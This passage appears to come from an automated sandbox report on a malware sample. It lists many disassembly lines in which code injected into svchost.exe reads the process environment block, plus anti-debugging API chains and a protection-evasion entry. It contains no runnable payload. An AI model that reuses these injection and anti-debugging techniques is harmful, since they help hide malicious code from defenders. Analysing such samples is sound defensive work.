Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C5ED mov eax, dword ptr fs:[00000030h]	2_2_0346C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03432582 mov eax, dword ptr fs:[00000030h]	2_2_03432582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03432582 mov ecx, dword ptr fs:[00000030h]	2_2_03432582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03464588 mov eax, dword ptr fs:[00000030h]	2_2_03464588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E59C mov eax, dword ptr fs:[00000030h]	2_2_0346E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B05A7 mov eax, dword ptr fs:[00000030h]	2_2_034B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B05A7 mov eax, dword ptr fs:[00000030h]	2_2_034B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B05A7 mov eax, dword ptr fs:[00000030h]	2_2_034B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034545B1 mov eax, dword ptr fs:[00000030h]	2_2_034545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034545B1 mov eax, dword ptr fs:[00000030h]	2_2_034545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342645D mov eax, dword ptr fs:[00000030h]	2_2_0342645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345245A mov eax, dword ptr fs:[00000030h]	2_2_0345245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BC460 mov ecx, dword ptr fs:[00000030h]	2_2_034BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345A470 mov eax, dword ptr fs:[00000030h]	2_2_0345A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345A470 mov eax, dword ptr fs:[00000030h]	2_2_0345A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345A470 mov eax, dword ptr fs:[00000030h]	2_2_0345A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03468402 mov eax, dword ptr fs:[00000030h]	2_2_03468402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03468402 mov eax, dword ptr fs:[00000030h]	2_2_03468402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03468402 mov eax, dword ptr fs:[00000030h]	2_2_03468402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E420 mov eax, dword ptr fs:[00000030h]	2_2_0342E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E420 mov eax, dword ptr fs:[00000030h]	2_2_0342E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E420 mov eax, dword ptr fs:[00000030h]	2_2_0342E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342C427 mov eax, dword ptr fs:[00000030h]	2_2_0342C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A430 mov eax, dword ptr fs:[00000030h]	2_2_0346A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034304E5 mov ecx, dword ptr fs:[00000030h]	2_2_034304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034364AB mov eax, dword ptr fs:[00000030h]	2_2_034364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034644B0 mov ecx, dword ptr fs:[00000030h]	2_2_034644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BA4B0 mov eax, dword ptr fs:[00000030h]	2_2_034BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6B40 mov eax, dword ptr fs:[00000030h]	2_2_034C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6B40 mov eax, dword ptr fs:[00000030h]	2_2_034C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FAB40 mov eax, dword ptr fs:[00000030h]	2_2_034FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D8B42 mov eax, dword ptr fs:[00000030h]	2_2_034D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DEB50 mov eax, dword ptr fs:[00000030h]	2_2_034DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342CB7E mov eax, dword ptr fs:[00000030h]	2_2_0342CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AEB1D mov eax, dword ptr fs:[00000030h]	2_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345EB20 mov eax, dword ptr fs:[00000030h]	2_2_0345EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345EB20 mov eax, dword ptr fs:[00000030h]	2_2_0345EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F8B28 mov eax, dword ptr fs:[00000030h]	2_2_034F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F8B28 mov eax, dword ptr fs:[00000030h]	2_2_034F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03450BCB mov eax, dword ptr fs:[00000030h]	2_2_03450BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03450BCB mov eax, dword ptr fs:[00000030h]	2_2_03450BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03450BCB mov eax, dword ptr fs:[00000030h]	2_2_03450BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430BCD mov eax, dword ptr fs:[00000030h]	2_2_03430BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430BCD mov eax, dword ptr fs:[00000030h]	2_2_03430BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430BCD mov eax, dword ptr fs:[00000030h]	2_2_03430BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DEBD0 mov eax, dword ptr fs:[00000030h]	2_2_034DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438BF0 mov eax, dword ptr fs:[00000030h]	2_2_03438BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438BF0 mov eax, dword ptr fs:[00000030h]	2_2_03438BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438BF0 mov eax, dword ptr fs:[00000030h]	2_2_03438BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345EBFC mov eax, dword ptr fs:[00000030h]	2_2_0345EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BCBF0 mov eax, dword ptr fs:[00000030h]	2_2_034BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440BBE mov eax, dword ptr fs:[00000030h]	2_2_03440BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440BBE mov eax, dword ptr fs:[00000030h]	2_2_03440BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436A50 mov eax, dword ptr fs:[00000030h]	2_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440A5B mov eax, dword ptr fs:[00000030h]	2_2_03440A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440A5B mov eax, dword ptr fs:[00000030h]	2_2_03440A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346CA6F mov eax, dword ptr fs:[00000030h]	2_2_0346CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346CA6F mov eax, dword ptr fs:[00000030h]	2_2_0346CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346CA6F mov eax, dword ptr fs:[00000030h]	2_2_0346CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DEA60 mov eax, dword ptr fs:[00000030h]	2_2_034DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034ACA72 mov eax, dword ptr fs:[00000030h]	2_2_034ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034ACA72 mov eax, dword ptr fs:[00000030h]	2_2_034ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BCA11 mov eax, dword ptr fs:[00000030h]	2_2_034BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346CA24 mov eax, dword ptr fs:[00000030h]	2_2_0346CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345EA2E mov eax, dword ptr fs:[00000030h]	2_2_0345EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03454A35 mov eax, dword ptr fs:[00000030h]	2_2_03454A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03454A35 mov eax, dword ptr fs:[00000030h]	2_2_03454A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346CA38 mov eax, dword ptr fs:[00000030h]	2_2_0346CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03486ACC mov eax, dword ptr fs:[00000030h]	2_2_03486ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03486ACC mov eax, dword ptr fs:[00000030h]	2_2_03486ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03486ACC mov eax, dword ptr fs:[00000030h]	2_2_03486ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430AD0 mov eax, dword ptr fs:[00000030h]	2_2_03430AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03464AD0 mov eax, dword ptr fs:[00000030h]	2_2_03464AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03464AD0 mov eax, dword ptr fs:[00000030h]	2_2_03464AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346AAEE mov eax, dword ptr fs:[00000030h]	2_2_0346AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346AAEE mov eax, dword ptr fs:[00000030h]	2_2_0346AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80 mov eax, dword ptr fs:[00000030h]	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504A80 mov eax, dword ptr fs:[00000030h]	2_2_03504A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03468A90 mov edx, dword ptr fs:[00000030h]	2_2_03468A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438AA0 mov eax, dword ptr fs:[00000030h]	2_2_03438AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438AA0 mov eax, dword ptr fs:[00000030h]	2_2_03438AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03486AA4 mov eax, dword ptr fs:[00000030h]	2_2_03486AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B0946 mov eax, dword ptr fs:[00000030h]	2_2_034B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03456962 mov eax, dword ptr fs:[00000030h]	2_2_03456962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03456962 mov eax, dword ptr fs:[00000030h]	2_2_03456962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03456962 mov eax, dword ptr fs:[00000030h]	2_2_03456962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0347096E mov eax, dword ptr fs:[00000030h]	2_2_0347096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0347096E mov edx, dword ptr fs:[00000030h]	2_2_0347096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0347096E mov eax, dword ptr fs:[00000030h]	2_2_0347096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D4978 mov eax, dword ptr fs:[00000030h]	2_2_034D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D4978 mov eax, dword ptr fs:[00000030h]	2_2_034D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BC97C mov eax, dword ptr fs:[00000030h]	2_2_034BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE908 mov eax, dword ptr fs:[00000030h]	2_2_034AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE908 mov eax, dword ptr fs:[00000030h]	2_2_034AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BC912 mov eax, dword ptr fs:[00000030h]	2_2_034BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03428918 mov eax, dword ptr fs:[00000030h]	2_2_03428918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03428918 mov eax, dword ptr fs:[00000030h]	2_2_03428918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B892A mov eax, dword ptr fs:[00000030h]	2_2_034B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C892B mov eax, dword ptr fs:[00000030h]	2_2_034C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C69C0 mov eax, dword ptr fs:[00000030h]	2_2_034C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034649D0 mov eax, dword ptr fs:[00000030h]	2_2_034649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FA9D3 mov eax, dword ptr fs:[00000030h]	2_2_034FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BE9E0 mov eax, dword ptr fs:[00000030h]	2_2_034BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034629F9 mov eax, dword ptr fs:[00000030h]	2_2_034629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034629F9 mov eax, dword ptr fs:[00000030h]	2_2_034629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0 mov eax, dword ptr fs:[00000030h]	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034309AD mov eax, dword ptr fs:[00000030h]	2_2_034309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034309AD mov eax, dword ptr fs:[00000030h]	2_2_034309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B89B3 mov esi, dword ptr fs:[00000030h]	2_2_034B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B89B3 mov eax, dword ptr fs:[00000030h]	2_2_034B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B89B3 mov eax, dword ptr fs:[00000030h]	2_2_034B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03442840 mov ecx, dword ptr fs:[00000030h]	2_2_03442840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03460854 mov eax, dword ptr fs:[00000030h]	2_2_03460854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434859 mov eax, dword ptr fs:[00000030h]	2_2_03434859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434859 mov eax, dword ptr fs:[00000030h]	2_2_03434859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BE872 mov eax, dword ptr fs:[00000030h]	2_2_034BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BE872 mov eax, dword ptr fs:[00000030h]	2_2_034BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6870 mov eax, dword ptr fs:[00000030h]	2_2_034C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6870 mov eax, dword ptr fs:[00000030h]	2_2_034C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BC810 mov eax, dword ptr fs:[00000030h]	2_2_034BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03452835 mov eax, dword ptr fs:[00000030h]	2_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03452835 mov eax, dword ptr fs:[00000030h]	2_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03452835 mov eax, dword ptr fs:[00000030h]	2_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03452835 mov ecx, dword ptr fs:[00000030h]	2_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03452835 mov eax, dword ptr fs:[00000030h]	2_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03452835 mov eax, dword ptr fs:[00000030h]	2_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A830 mov eax, dword ptr fs:[00000030h]	2_2_0346A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D483A mov eax, dword ptr fs:[00000030h]	2_2_034D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D483A mov eax, dword ptr fs:[00000030h]	2_2_034D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E8C0 mov eax, dword ptr fs:[00000030h]	2_2_0345E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FA8E4 mov eax, dword ptr fs:[00000030h]	2_2_034FA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C8F9 mov eax, dword ptr fs:[00000030h]	2_2_0346C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C8F9 mov eax, dword ptr fs:[00000030h]	2_2_0346C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430887 mov eax, dword ptr fs:[00000030h]	2_2_03430887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BC89D mov eax, dword ptr fs:[00000030h]	2_2_034BC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4F40 mov eax, dword ptr fs:[00000030h]	2_2_034B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4F40 mov eax, dword ptr fs:[00000030h]	2_2_034B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4F40 mov eax, dword ptr fs:[00000030h]	2_2_034B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4F40 mov eax, dword ptr fs:[00000030h]	2_2_034B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D4F42 mov eax, dword ptr fs:[00000030h]	2_2_034D4F42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342CF50 mov eax, dword ptr fs:[00000030h]	2_2_0342CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342CF50 mov eax, dword ptr fs:[00000030h]	2_2_0342CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342CF50 mov eax, dword ptr fs:[00000030h]	2_2_0342CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342CF50 mov eax, dword ptr fs:[00000030h]	2_2_0342CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342CF50 mov eax, dword ptr fs:[00000030h]	2_2_0342CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342CF50 mov eax, dword ptr fs:[00000030h]	2_2_0342CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346CF50 mov eax, dword ptr fs:[00000030h]	2_2_0346CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D0F50 mov eax, dword ptr fs:[00000030h]	2_2_034D0F50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345AF69 mov eax, dword ptr fs:[00000030h]	2_2_0345AF69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345AF69 mov eax, dword ptr fs:[00000030h]	2_2_0345AF69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2F60 mov eax, dword ptr fs:[00000030h]	2_2_034D2F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2F60 mov eax, dword ptr fs:[00000030h]	2_2_034D2F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504F68 mov eax, dword ptr fs:[00000030h]	2_2_03504F68
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E6F00 mov eax, dword ptr fs:[00000030h]	2_2_034E6F00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03432F12 mov eax, dword ptr fs:[00000030h]	2_2_03432F12

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_00426DA1

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0042202E SetUnhandledExceptionFilter,	0_2_0042202E
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004230F5
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00417D93
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00421FA7

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtQueryVolumeInformationFile: Direct from: 0x76F12F2C	Jump to behavior
